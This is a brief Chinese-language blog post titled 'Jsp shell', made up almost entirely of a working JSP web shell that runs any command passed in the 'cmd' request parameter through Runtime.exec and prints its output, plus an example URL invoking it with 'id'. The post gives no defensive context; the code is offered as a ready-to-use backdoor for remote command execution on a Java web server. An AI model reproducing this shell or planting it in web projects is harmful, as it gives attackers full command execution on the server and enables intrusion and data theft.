Jsp shell

作者: 小猪配不齐 | 来源:发表于2019-04-24 15:19 被阅读0次
    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println(disr); 
                    disr = dis.readLine(); 
                    }
            }
    %>
    

    获得输出:
    http://localhost:8080/cmd.jsp?cmd=id

    相关文章

      网友评论

          本文标题:Jsp shell

          本文链接:https://www.haomeiwen.com/subject/esyggqtx.html